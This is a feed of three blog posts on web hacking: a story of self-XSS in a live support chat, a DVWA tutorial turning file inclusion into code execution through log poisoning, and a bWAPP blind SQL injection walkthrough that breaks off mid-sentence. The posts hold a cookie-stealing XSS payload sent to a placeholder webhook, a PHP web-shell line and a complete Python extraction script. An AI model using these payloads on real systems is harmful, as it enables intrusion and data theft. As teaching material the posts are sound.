<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by negan0 on Medium]]></title>
        <description><![CDATA[Stories by negan0 on Medium]]></description>
        <link>https://medium.com/@negan0?source=rss-cef535fc4ff4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by negan0 on Medium</title>
            <link>https://medium.com/@negan0?source=rss-cef535fc4ff4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 16:06:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@negan0/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Blind XSS: A Tale of Curiosity]]></title>
            <link>https://medium.com/@negan0/blind-xss-a-tale-of-curiosity-501d47c0256c?source=rss-cef535fc4ff4------2</link>
            <guid isPermaLink="false">https://medium.com/p/501d47c0256c</guid>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[api-sec]]></category>
            <category><![CDATA[blind-xss]]></category>
            <category><![CDATA[self-xss]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[negan0]]></dc:creator>
            <pubDate>Wed, 09 Apr 2025 20:28:48 GMT</pubDate>
            <atom:updated>2025-04-09T20:41:57.435Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello,<br>In this article, I want to share an incident that happened to me.</p><p>I came across a post by Dan Barahona on LinkedIn and noticed that ApiSec University was offering the APIsec Certified Practitioner (ACP) certification exam for free. I found it very interesting and decided to register.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cSrlOWhH7qpZ2YXbkGIgqA.jpeg" /></figure><p>To prepare for the exam, I began studying API security using the courses available on their website. While exploring the site, I noticed a support chat feature in the lower-right corner. Out of curiosity, I tested a few things and discovered a Cross-Site Scripting (<strong>XSS</strong>) vulnerability in the chat system.</p><p>However, I couldn’t determine if it was just <strong>self-XSS </strong>or something more, as the chat displayed the message, “Sorry, all of our agents are busy.” This suggested there was no human available to view my <strong>XSS </strong>payload, leaving me uncertain about its potential impact.</p><p>Even so, I started drafting a report for them, mentioning, “It could be blind XSS. It would be better if you investigated this vulnerability.” However, I decided not to send the report.</p><p>A part of my Report where i was showing How can you reproduce :</p><h3>Steps to Reproduce:</h3><ol><li>First I Opened the website and navigate to the support chat widget (in the right corner of the page).</li><li>I checked that can i inject html tags, gived input like this:</li></ol><pre>&#39;&quot;&gt;&lt;u&gt;negan</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*dGeYKITgrzGI2XZi.jpeg" /></figure><p>3. I saw that i can inject html tags, so from here i tried <strong>XSS </strong>payload that alerts 1 to see can i succesfully run script:</p><pre>&lt;img src onerror=alert(1)&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*3YlzoY0GIJGFRieI.jpeg" /></figure><p>4. Well we can perform XSS now let’s try to Submit the following payload via the chat input:</p><pre>&lt;img src=x onerror=&quot;fetch(&#39;Your-webhook-URL-here&#39;,{method:&#39;POST&#39;,body:document.cookie})&quot;&gt;</pre><p>5. The payload executes immediately within our browser session and sends user’s cookies to the webhook site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*L4h0As3ZWiXZC2xR.jpeg" /></figure><p>6. The chat interface might show “<em>All agents are busy</em>,” and nobody interacts with our payload, but if any support staff later views the message on their side, the script would execute in their browser as well. And send their cookie to my webhook site too.</p><p>The next day, I revisited the site and tested my <strong>XSS </strong>payload again — it was still working. This time, someone responded to me:<br> — “Did your injection work?”</p><p>Excited to finally have someone on the other end, I realized I had the chance to test my payload properly. The person responding was Jess Freeman.</p><p>We began chatting, and I explained, “I have no intention of causing harm to the site — I’m just interested in bug bounty hunting.”</p><p>He replied that he used to be a bug bounty hunter himself. Encouraged by this, I started sending my payloads and asked him, “Did you see an alert?”. He was very good guy I want to thank him, He was sending me payloads and saying try this payload ;)</p><p>On my side, the <strong>XSS </strong>was triggering, but on his side, nothing happened. This was a bit disappointing, as it confirmed the issue was only <strong>self-XSS</strong>. But Jess mentioned that the chat function wasn’t part of their system; they were using a service from tawk.io. He suggested I send my report to them, as it was possible that my payloads were executing on their side.</p><p>I submitted my report to <strong>tawk.io</strong>, but unfortunately, I didn’t receive any response.</p><p>If you visit the site now, you’ll notice they’ve replaced the chat function — there’s no longer a real human on the other end, just an AI assistant. Unfortunately, I can’t talk to Jess anymore ;( However, the self-XSS issue still exists, and I hope tawk.io solve it soon.</p><p>Despite this, the experience was incredibly interesting and a valuable learning opportunity for me. So, I decided to share this experience and thank Jess Freeman for being so understanding.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=501d47c0256c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LFI to RCE]]></title>
            <link>https://medium.com/@negan0/lfi-to-rce-9dab1e783da7?source=rss-cef535fc4ff4------2</link>
            <guid isPermaLink="false">https://medium.com/p/9dab1e783da7</guid>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[local-file-inclusion]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[web-vulnerabilities]]></category>
            <dc:creator><![CDATA[negan0]]></dc:creator>
            <pubDate>Sat, 01 Mar 2025 23:07:46 GMT</pubDate>
            <atom:updated>2025-03-01T23:11:23.750Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, I will show how can you get Remote Code Execution (RCE) using Local File Inclusion (LFI). However, before diving into the details, let’s first explore and understand each of these vulnerabilities individually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5T8JdM2z9L2zzp4n3Q1ZJQ.jpeg" /></figure><h3>What is Local File Inclusion (LFI)?</h3><p>Local File Inclusion is a type of vulnerability that allows an attacker to manipulate file paths in a way that enables them to access and potentially execute files stored on the server. LFI exploits applications that rely on file inclusion without validating user-supplied input.</p><h3>How Does LFI Work?</h3><p>Web applications often include files dynamically to serve content or functionality based on user input. For example:</p><pre>&lt;?php  <br>    $file = $_GET[&#39;page&#39;];  <br>    include($file . &#39;.php&#39;);  <br>?&gt;</pre><p>In the above code, the application includes a file based on the <strong><em>page</em></strong> parameter provided by the user. If the application doesn&#39;t properly validate the input, an attacker can manipulate the <strong><em>page</em></strong> parameter to include sensitive files, such as:</p><pre>http://example.com/index.php?page=/etc/passwd</pre><p>Here, the attacker could retrieve the contents of the /etc/passwd file (on Linux systems) if it is accessible.</p><h3>Examples of Exploiting LFI</h3><p>If the server logs user input and the attacker has control over the input, they could inject PHP code into the log file and include it:</p><ol><li>Inject malicious code into the log file, e.g., through the <strong>User-Agent </strong>header:</li></ol><pre>User-Agent: &lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;</pre><p>2. Exploit the LFI vulnerability to include the log file:</p><pre>http://example.com/index.php?page=/var/log/apache2/access.log&amp;cmd=id</pre><p>This process is called Log poisoning, I am going to use this method to get RCE later on.</p><h4>Difference between Directory Traversal and LFI</h4><p>Sometimes people thinks Directory Traversal is LFI too, but this is so wrong. <strong>Directory Traversal</strong> and <strong>Local File Inclusion (LFI)</strong> are both web application vulnerabilities that involve accessing files on the server, it is true but they are not same.</p><p>Directory Traversal (also known as Path Traversal) is a vulnerability that allows an attacker to manipulate file paths to access files and directories outside the application’s intended directory. The attacker uses traversal sequences such as<strong> “../” </strong>to navigate to restricted areas of the file system. But attacker can only read content of that file not execute. On the other hand if application is vulnerable to LFI you can both read files and execute them.</p><h3><strong>What is Remote Code Execution (RCE)?</strong></h3><p>Remote Code Execution (RCE) is a critical web application vulnerability that allows an attacker to execute arbitrary code on a server or a system remotely. This can lead to a complete system compromise, giving the attacker control over the targeted system.</p><p>For example, consider the following PHP code:</p><pre>&lt;?php  <br>    $command = $_GET[&#39;cmd&#39;];  <br>    system($command);  <br>?&gt;</pre><p>In this case, the application executes the value of the <strong>cmd</strong> parameter as a system command. If the input is not validated or sanitized, an attacker can pass malicious commands to the server, such as:</p><pre>http://example.com/index.php?cmd=whoami</pre><p>Now we understand both concepts. Let’s look at DVWA(Damn Vulnerable Web Application). I will show how can you detect LFI ,exploit it and write a script for automating the process.</p><h3>What is DVWA?</h3><p>DVWA is a damn vulnerable web application coded in PHP that uses MySQL database. With this amazing pentesting web app you can practice some of the most common web vulnerabilities (different levels of difficulty) using its very simple GUI. You can play around and try to discover as many issues as possible in order to deepen your knowledge and skills.</p><h3>Exploiting</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M1n7cSIhXduIKH29rX4uhQ.png" /></figure><p>Now you are looking at DVWA. If you look at the search bar you can see application takes a file from us with <strong>page</strong> parametr. Let’s change include.php to <strong>/etc/passwd</strong> .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*omeBBOnwYowMXU8gHNl-3g.png" /></figure><p>As you can see, We retrieve the content of <strong>/etc/passwd </strong>application is misconfigured, we can include any file on the system(if our user has permission to that file). Now, let’s try to read the <strong>access.log </strong>file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CtFu63ljsWOkV8rPzoyMOg.png" /></figure><p>We get nothing because our user don’t have permission to read that file but i want to show you how to get RCE using Log poisoning and write a python script to automate that. Since the application is under my control, I will change the file’s permissions to view its contents. Let’s assume we have permission to see logs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DvimkXwuTNwPfyJudtzCmA.png" /></figure><p>We get something like this. When we send request to the server , server logs our request and the Logs format is like this:</p><pre>172.17.0.1 - - [01/Mar/2025:17:47:15 +0000] &quot;GET /vulnerabilities/fi/?page=/var/log/apache2/access.log HTTP/1.1&quot; 200 1771 &quot;-&quot; &quot;Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0&quot;</pre><p>It contains:</p><ol><li>Ip address — Which Ip address request coming from.</li><li>Date and Time — When request received</li><li>HTTP request — Which HTTP method used, what file request send to( basicly things on search bar ), and the version of HTTP</li><li>Response code — Which response code retrieved</li><li>Response length — Length of Response</li><li>User-Agent — What is User-Agent of user that send request</li></ol><p>We will write our payload in the User-Agent header because when we enter special characters in the search bar, the application encodes them, which is problem to us. I am going to use curl to send request to server.</p><ol><li>Url — <a href="http://172.17.0.2/vulnerabilities/fi/?page=include.php">http://172.17.0.2/vulnerabilities/fi/?page=include.php</a></li><li>User-Agent header — &lt;?php echo shell exec(‘whoami’)?&gt;</li><li>Cookie header — security_level=0; PHPSESSID=hoo8j49tchakamvi2qbijjd865; security=low</li></ol><p>Okay, now lets look at the logs to see out php command’s result. I am going to clean logs to better view.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yanqOqdgldxKsdhGiGY8uw.png" /></figure><p>The server executed our PHP command and displayed the result, meaning our log poisoning helped us to get RCE, we can simply run every command in the server and see the result . But don’t you think this process is a bit tiring? Every time, you have to open the CLI, send a curl request, then go to the webpage, send another request to the <strong>access.log</strong> file, and search for the result of your command in all the logs. (In our case, I cleaned the log file to make it easier to find the result, but if you can&#39;t control the server, it becomes much harder.)</p><p>I think it’s tiring—maybe I’m just lazy :) Wouldn’t it be cool if we could simply run a command and get the result in seconds? Yeah, it would. So, let’s write a python script that sends the request, reads the <strong>access.log</strong> file for us, and shows us only the result of our command.</p><h3>Automating</h3><p>Before writing the script Let’s look at steps that we need to do:</p><ol><li>We need to create payload and Send it to server</li><li>Read access.log return response</li><li>Find result of our command in response and show it to the user</li></ol><p>Okay now let’s start simple and go one step at a time create our payload. For creating payload i am going to make our job a little bit harder and let’s assume that server encodes special characters on User-Agent header too, we can’t send payload normal. We have to find another way. I am going to use ASCII values of characters.</p><p>In python there is <strong>ord() </strong>function that returns character’s ASCII values. In this this picture you can see every characters ASCII value:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TpGXlVh0exZ0gAFICt4P7g.png" /></figure><p>Okay let’s start writing the script. First write a function that translates our command to ASCII value and create payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sD6fheVjuMZTk7Wv99ji-g.png" /></figure><p>We write first codes of our exploit. We create function for creating payload when you enter a command, function returns its ASCII values in <strong>chr() </strong>function and combine with our php function . The <strong>chr()</strong> function then converts those ASCII values back into their original characters. We do this because, when our payload reaches the target, the server executes the <strong>chr() </strong>function, converting the ASCII values into the original command, like <strong>whoami</strong>, and the PHP command executes successfully.</p><p>We have __main__ part that gets command from user and calls <strong>send_payload() </strong>function till we press <strong>ctrl+c</strong> on the keyboard.</p><p>Now it is time to send this request to server. So we need to import <strong>requests</strong> library and create request then send it to the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*S99GKMf8v8IrVI8XqtPUKQ.png" /></figure><p>Our script became something like this. First step is done we created payload and send it to the server successfully. Now second step send request to access.log file and return response for parsing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DYFOzQ5uUgcj1AhIDBTHIw.png" /></figure><p>We created <strong>access_log()</strong> function and called it in <strong>__main__. </strong>Second step is done too. We get logs only thing left is find our command’s result in that logs. How can we do it ? Is there any idea that you can think of?</p><p>Found it! Let’s add a custom word at the start and end of our PHP payload. Then, we can search for these words in the logs, find their indexes, and extract everything between these indexes.It looks good in theory! Now, let’s put it into action and see how it works.</p><p>Okay, I made few changes right now code is like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*naa7HCef1hVGSmn7YFBLRg.png" /></figure><p>There are a few changes I made, Let’s explore the code:</p><ol><li>I made changes to the <strong>send_payload()</strong> function. It wasn’t working properly—the payload was being sent to the server, but it wasn’t executing. The issue was that the characters weren’t being combined correctly in PHP. In PHP, you use “.” to concat strings, so I added a “.” to the end of every<strong> chr()</strong> . However, the last “.” isn’t needed, so I used <strong><em>result[:-1] </em></strong>to remove it.</li><li>I created a new function called <strong>command_result()</strong>. In this function, I added &quot;Hello&quot; to the start of the PHP code and &quot;World&quot; to the end. First, we find the index of &quot;Hello&quot;, but this only gives us the index of the &quot;H&quot;. To determine where &quot;Hello&quot; ends, we add the length of &quot;Hello&quot; to this index. Next, we find the index of &quot;World&quot;, which gives us the position of the &quot;W&quot;. Finally, we extract and return everything between the end of &quot;Hello&quot; and the start of &quot;World&quot;. This gives us our result.</li></ol><p>f you look at the terminal, you’ll see the script works but not as intended — it only gives the result of the first command. No matter how many new commands you provide, the output doesn’t change. Can you guess the problem? If you can, well done!</p><p>The issue is that we’re using the same “Hello” and “World” markers for every payload. When you execute a second command, the script still finds the first “Hello” and “World” in the logs and retrieves the result between them.</p><p>The solution is to change these markers each time to ensure they are unique for every payload, preventing the script from retrieving same results.</p><p>Final script is ready! It works perfect:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hGa_GszN0FyFgjzyTLC_Sw.png" /></figure><p>What I did:</p><p>Add an iteration parameter to the <strong>__main__</strong> function. When you input a command, a unique iteration value is generated. This iteration is first passed to the <strong>send_payload()</strong> function and then to the <strong>command_result() </strong>function, and every time it adds up 1. Since each iteration is unique, the responses will no longer be the same. Let’s look at the results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n0wDr-VVrlwsshhhyQGfyw.png" /></figure><p>Python is truly amazing! It allows you to automate almost anything. I hope you’ve learned something valuable: what LFI is, how you can exploit it to achieve RCE , and how to automate this process. But I don’t want you to simply copy the script and run it. Instead, I want you to write your own version. Make your own mistakes and learn from them — just like I did with the <strong>send_payload() </strong>function.</p><p>It’s okay to make mistakes as long as you learn from them. Just don’t make them your friend. For example, you can try a different method to retrieve the command’s result from the <strong>access.log</strong> file. If you do, be sure to tell me in the comments how you did.</p><p>So, goodbye for now! I hope you enjoyed reading this article as much as I enjoyed writing it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9dab1e783da7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blind SQL injection]]></title>
            <link>https://medium.com/@negan0/blind-sql-injection-f4d2b7b04a95?source=rss-cef535fc4ff4------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4d2b7b04a95</guid>
            <category><![CDATA[sqli]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[blind-sql-injection]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[negan0]]></dc:creator>
            <pubDate>Tue, 04 Feb 2025 20:17:07 GMT</pubDate>
            <atom:updated>2025-02-04T20:17:07.130Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello! In this article, I’ll explain the script I wrote for exploiting Blind SQL injections. But before diving into the script, let’s take a moment to understand what Blind SQL injection is?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WqE3aUUXTRMN3pRfyeubCw.jpeg" /></figure><p>Blind SQL injection happens when a web application is vulnerable to SQL injection , but its HTTP responses don’t contain the results of the SQL query or any details of database errors. This unlike a regular SQL injection, in which the database error or output of the malicious SQL query is shown in the web application and visible to the attacker.</p><p>In a Blind SQL Injection, attackers never see the output of the SQL queries. Still, they may see if the application or web page loads normally, and discern how long the SQL server needs to process the SQL query that an attacker passed in the user input.</p><p>There are two types of blind SQL injections: <em>boolean-based</em> and <em>time-based</em>.</p><p><strong>Boolean-based</strong> — that attacker sends a SQL query to the database prompting the application to return a result. The result will change depending on whether the query is true or false. The attacker can then work out if the message generated a true or false result.</p><p><strong>Time-based</strong> — attacker sends a SQL query to the database, which makes the database wait before sending response. The attacker can see from the time the database takes to respond, whether a query is true or false. The attacker can work out if the message they used returned true or false, without relying on data from the database.</p><p>When you’re dealing with blind SQL injection (SQLi), it can be tricky because you don’t get any direct output from the database. Instead, you have to run your queries and figure out if they worked based on indirect signs, like changes in behavior or timing. This works, but it brings up the question: what kind of queries should we actually run?</p><p>In another article, I covered what SQL injection is and how to detect it. I also did some labs on bWAPP, showing how to exploit Union-based, Error-based, and Time-based SQLi. Plus, I explained how to create your own queries to pull data from a database, which can help you get a better understanding of how SQLi works. I recommend checking it out — it’ll make this article easier to follow.</p><p><a href="https://medium.com/@negan0/sql-injection-c78bfbd255be">SQL Injection</a></p><p>Now that you’re familiar with SQL queries and Blind SQL injection, we can get started. First, let’s begin with Boolean-based Blind SQL injection — it’s easier to understand.</p><h3><strong>Boolean-based</strong></h3><p>Before writing script we have to know the target. Understand how it’s query work and write script for circumstances. I am going to exploit Boolean-based SQLi in bWAPP so let’s look at the lab and try to understand the way it’s database work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DzJYg3rs_6lwdaT3i7wWIA.png" /></figure><p>Look at the search bar. I searched for <em>iron man</em> and application return <em>“The movie exists in our database!”. </em>This time search for something not in database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C_v1mrgPIdluCIWEoXh0VQ.png" /></figure><p>Application return<em> “The movie does not exist in our database!”.</em> This time search ‘ for breaking query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G_Zjhy9qdzP01BaJrL8QOA.png" /></figure><p>We get Incorrect syntax error but app doesn’t show any data in error we can not work with this. So we have 3 output from database:</p><ol><li>Our input is correct — <em>The movie exists in our database!</em></li><li>Our input is wrong — <em>The movie does not exists in our database!</em></li><li>We have syntax error — Incorrect syntax error!</li></ol><p>We going to look at first 2. Let’s input this to see is there SQLi vulnerability:</p><p><strong>‘ or 1=1 --</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nhyr4Erg67gElOktFC-Syw.png" /></figure><p>Application returns true to our SQL queries if it is true. Here it is — we can use this method to extract data, and that’s exactly what I did in my script. My script:</p><pre>import requests<br>import sys<br><br>def binarySearch(URL, index,limit):<br>    low = 32<br>    high = 126<br>    while low &lt;= high:<br>        mid = (high + low) // 2<br>        if mid == low :<br>            return chr(mid)<br>        url = URL + f&quot;?title=&#39;XOR(if((select ascii(substring(table_name,{index},1)) from information_schema.tables where table_schema=&#39;bWAPP&#39; LIMIT {limit},1)&lt;{mid},1,0))XOR&#39;&quot;<br>        response = requests.get(url=url,headers={&quot;Cookie&quot;:&quot;security_level=0; PHPSESSID=52buofk8lh4bg5f88a56kfhr50&quot;})<br>        if &quot;does not exist&quot; in response.text:<br>            low = mid<br>        else:<br>            high = mid<br><br><br>def extractData(URL,length,row):<br>    data = &quot;&quot;<br>    for index in range(1,length+1):<br>        data += binarySearch(URL,index,row)<br>    print(data)<br>    data = &quot;&quot;<br><br><br>def findlength(URL,row):<br>    low = 1<br>    high = 200<br>    while low &lt;= high:<br>        mid = (high + low) // 2<br>        if mid == low :<br>            length = mid<br>            print(&quot;Length: {}&quot;.format(length))<br>            extractData(URL,length,row)<br>            return mid<br>        url = URL + f&quot;?title=&#39;XOR(if((select length(table_name) from information_schema.tables where table_schema=&#39;bWAPP&#39; LIMIT {row},1)&lt;{mid},1,0))XOR&#39;&quot;<br>        response = requests.get(url=url,headers={&quot;Cookie&quot;:&quot;security_level=0; PHPSESSID=52buofk8lh4bg5f88a56kfhr50&quot;})<br>        if &quot;does not exist&quot; in response.text:<br>            low = mid<br>        else:<br>            high = mid<br><br><br>def findrowcount(URL):<br>    i = 1<br>    while i &lt; 20:<br>        url = URL + f&quot;?title=&#39;XOR(if((select count(table_name) from information_schema.tables where table_schema=&#39;bWAPP&#39;) = {i},1,0))XOR&#39;&quot;<br>        response = requests.get(url=url,headers={&quot;Cookie&quot;:&quot;security_level=0; PHPSESSID=52buofk8lh4bg5f88a56kfhr50&quot;})<br>        if not(&quot;does not exist&quot; in response.text):<br>            return i<br>        i += 1<br><br>def detectSQLi(URL):<br>    url = URL + &quot;?title=&#39; or 1=1 -- -&quot;<br>    response = requests.get(url=url,headers={&quot;Cookie&quot;:&quot;security_level=0; PHPSESSID=52buofk8lh4bg5f88a56kfhr50&quot;})<br>    return (&quot;does not exist&quot; in response.text)<br><br>def main():<br>    URL = &quot;http://127.0.0.1/sqli_4.php&quot;<br>    if detectSQLi(URL):<br>        print(&quot;SQLi not detected&quot;)<br>    else:<br>        print(&quot;SQLi detected trying to exploit...&quot;)<br>        count = findrowcount(URL)<br>        print(&quot;Row count: {}&quot;.format(count))<br>        for row in range (0,count):<br>            length = findlength(URL,row)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    try:<br>        main()<br>    except KeyboardInterrupt:<br>        sys.exit(1)</pre><p>The script consists of several functions, each with a specific role in detecting and exploiting the vulnerability.</p><p>Before starting to writing script there are few steps to should do :</p><ol><li>Find URL you going to exploit and give it to variable</li><li>Get your Cookie cause you have to be autenticated when you send request. You can find your cookie using burp or use developer tools on browser.</li><li>Import requests and sys modules</li></ol><p>requests module is used for sending request to url which given from us and get response. sys is for stop the script when press ctrl+c.</p><h4><strong>1. detectSQLi()</strong></h4><p>Before exploiting the target, the script first checks if the web application is vulnerable to SQL injection using the <strong>detectSQLi() </strong>function.</p><pre>def detectSQLi(URL):<br>    url = URL + &quot;?title=&#39; or 1=1 -- -&quot;<br>    response = requests.get(url=url,headers={&quot;Cookie&quot;:&quot;security_level=0; PHPSESSID=52buofk8lh4bg5f88a56kfhr50&quot;})<br>    return (&quot;does not exist&quot; in response.text)</pre><p>This function sends a request to the URL with the payload <strong>“?title=’ or 1=1--“ </strong>and retrieves the application&#39;s response. In Python, <strong>response.text </strong>provides the text content of the application&#39;s response.</p><p>From earlier observations, we know that if our query evaluates to <strong>false</strong> , the application returns: <em>&quot;The movie does not exist in our database!&quot;</em>. Based on this, we’ll check if the response contains the phrase &quot;does not exist.&quot; If it does, it means our query is <strong>false</strong>; otherwise, it means the query is <strong>true</strong> .</p><p>So we call this function in <strong>main()</strong> if it returns <strong>true</strong> URL is not vulnerable to SQLi if it returns <strong>false</strong> we run<strong> findrowcount() </strong>function<strong>.</strong></p><h4><strong>2. findrowcount()</strong></h4><p>As the name suggests, this function is used to determine how many rows exist in a table. Why is this important? Because we’ll use this information to iterate through the rows and extract all the data.</p><pre>def findrowcount(URL):<br>    i = 1<br>    while i &lt; 20:<br>        url = URL + f&quot;?title=&#39;XOR(if((select count(table_name) from information_schema.tables where table_schema=&#39;bWAPP&#39;) = {i},1,0))XOR&#39;&quot;<br>        response = requests.get(url=url,headers={&quot;Cookie&quot;:&quot;security_level=0; PHPSESSID=52buofk8lh4bg5f88a56kfhr50&quot;})<br>        if not(&quot;does not exist&quot; in response.text):<br>            return i<br>        i += 1</pre><p>First, we need to identify the number of rows in the table. For that, our payload will look like this:</p><p><strong>‘XOR(if((select count(table_name) from information_schema.tables where table_schema=’bWAPP’) = {i},1,0))XOR’</strong></p><p>In MySQL, the <strong>COUNT</strong> function is used to find the number of rows in a table. Here, <strong>{i} </strong>represents a value that increments between 1 and 20. If our request returns <strong>false</strong> , it means the row count is correct.</p><p>Once we find the row count, the script moves back to the <strong>main()</strong> function. There, it starts a loop to iterate through each row, calling the <strong>findlength() </strong>function to determine the length of the data we’re extracting for further processing.</p><h4>3. findlength()</h4><p>This function uses Binary Search algorithm for finding length of data we extracting. What is Binary Search?</p><p><strong>Binary search</strong> is a search algorithm used to find the position of a target value within a sorted array. It works by repeatedly dividing the search interval in half until the target value is found or the interval is empty. The search interval is halved by comparing the target element with the middle value of the search space.</p><p>These are steps of Binary Search</p><ul><li>Divide the search space into two halves by <strong>finding the middle_index “mid”</strong></li><li>Compare the middle element of the search space with the <strong>key</strong>.</li><li>If the <strong>key </strong>is found at middle element, the process is terminated.</li><li>If the <strong>key </strong>is not found at middle element, choose which half will be used as the next search space.</li><li>If the <strong>key </strong>is smaller than the middle element, then the <strong>left </strong>side is used for next search.</li><li>If the <strong>key </strong>is larger than the middle element, then the <strong>right </strong>side is used for next search.</li><li>This process is continued until the <strong>key </strong>is found or the total search space is exhausted.</li></ul><p>We going to implement this search to our script like this:</p><pre>def findlength(URL,row):<br>    low = 1<br>    high = 200<br>    while low &lt;= high:<br>        mid = (high + low) // 2<br>        if mid == low :<br>            length = mid<br>            print(&quot;Length: {}&quot;.format(length))<br>            extractData(URL,length,row)<br>            return mid<br>        url = URL + f&quot;?title=&#39;XOR(if((select length(table_name) from information_schema.tables where table_schema=&#39;bWAPP&#39; LIMIT {row},1)&lt;{mid},1,0))XOR&#39;&quot;<br>        response = requests.get(url=url,headers={&quot;Cookie&quot;:&quot;security_level=0; PHPSESSID=52buofk8lh4bg5f88a56kfhr50&quot;})<br>        if &quot;does not exist&quot; in response.text:<br>            low = mid<br>        else:<br>            high = mid</pre><p>This function takes 2 value URL, row. We know URL is for sending request but you may ask what is row? Answer is in the main() function :</p><pre>def main():<br>    URL = &quot;http://127.0.0.1/sqli_4.php&quot;<br>    if detectSQLi(URL):<br>        print(&quot;SQLi not detected&quot;)<br>    else:<br>        print(&quot;SQLi detected trying to exploit...&quot;)<br>        count = findrowcount(URL)<br>        print(&quot;Row count: {}&quot;.format(count))<br>        for row in range (0,count):<br>            length = findlength(URL,row)</pre><p>In the <strong>main()</strong> function, there is a <strong>for</strong> loop where the variable<strong> row</strong> takes a number between <strong>0</strong> and <strong>count</strong> , running the<strong> findlength() </strong>function with <strong>row</strong> as its argument.</p><p>Now, let’s look at the binary search logic. The binary search function uses three arguments: <strong>low</strong>, <strong>high</strong>, and <strong>mid</strong> . I set <strong>high</strong> to <strong>200</strong> , but you can choose any value depending on your estimate of the maximum data length. The value of mid is calculated as:</p><p><strong>mid = (high + low) // 2</strong></p><p>The function continues to loop until <strong>mid</strong> equals<strong> low</strong> .</p><p>The payload used is as follows:</p><p><strong>‘XOR(if((select length(table_name) from information_schema.tables where table_schema=’bWAPP’ LIMIT {row},1)&lt;{mid},1,0))XOR’</strong></p><p>Here’s how it works:</p><ol><li>The <strong>LENGTH</strong> function retrieves the length of the data you&#39;re querying.</li><li>It checks if the length is less than <strong>mid</strong>.</li><li>If the condition is false, in our circumstance the app returns <strong>“does not exist” </strong>and assigns <strong>low</strong> to <strong>mid</strong> .</li><li>If true, it sets <strong>high</strong> to <strong>mid</strong> .</li></ol><p>This process continues until <strong>mid</strong> equals <strong>low</strong> , then calls the <strong>extractdata() </strong>function with <strong>URL,length,row</strong> arguments.</p><h4><strong>4. extractData()</strong></h4><p>Think<strong> extractData() </strong>function as a bridge. It takes <strong>length</strong> and starts <strong>for</strong> <strong>loop. </strong>For example, let’s say we find 5 record in table we have to extract each of them separated, so we start a loop and send them to <strong>binarySearch()</strong> function.</p><p>In this function, we display to the user what we’ve retrieved from the database. We create a variable <strong>data, </strong>each time <strong>binarysearch()</strong> finds character correct add that character to data. Once the loop completes, the full content of <strong>data</strong> is printed to show the user the retrieved information.</p><pre>def extractData(URL,length,row):<br>    data = &quot;&quot;<br>    for index in range(1,length+1):<br>        data += binarySearch(URL,index,row)<br>    print(data)<br>    data = &quot;&quot;</pre><h4><strong>5. binarySearch()</strong></h4><p>This function works as same as <strong>findlength()</strong> uses binary search for finding character each time function compares the character given from us with the character on database. You can ask how? Cause we are comparing stringer values how this algorithm going to help us?</p><p>In SQL there is <strong>ASCII</strong> function that returns character’s ASCII values. In this this picture you can see every characters ASCII value:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TpGXlVh0exZ0gAFICt4P7g.png" /></figure><p>Look at this table, as you can see our characters start at 32 and finish at 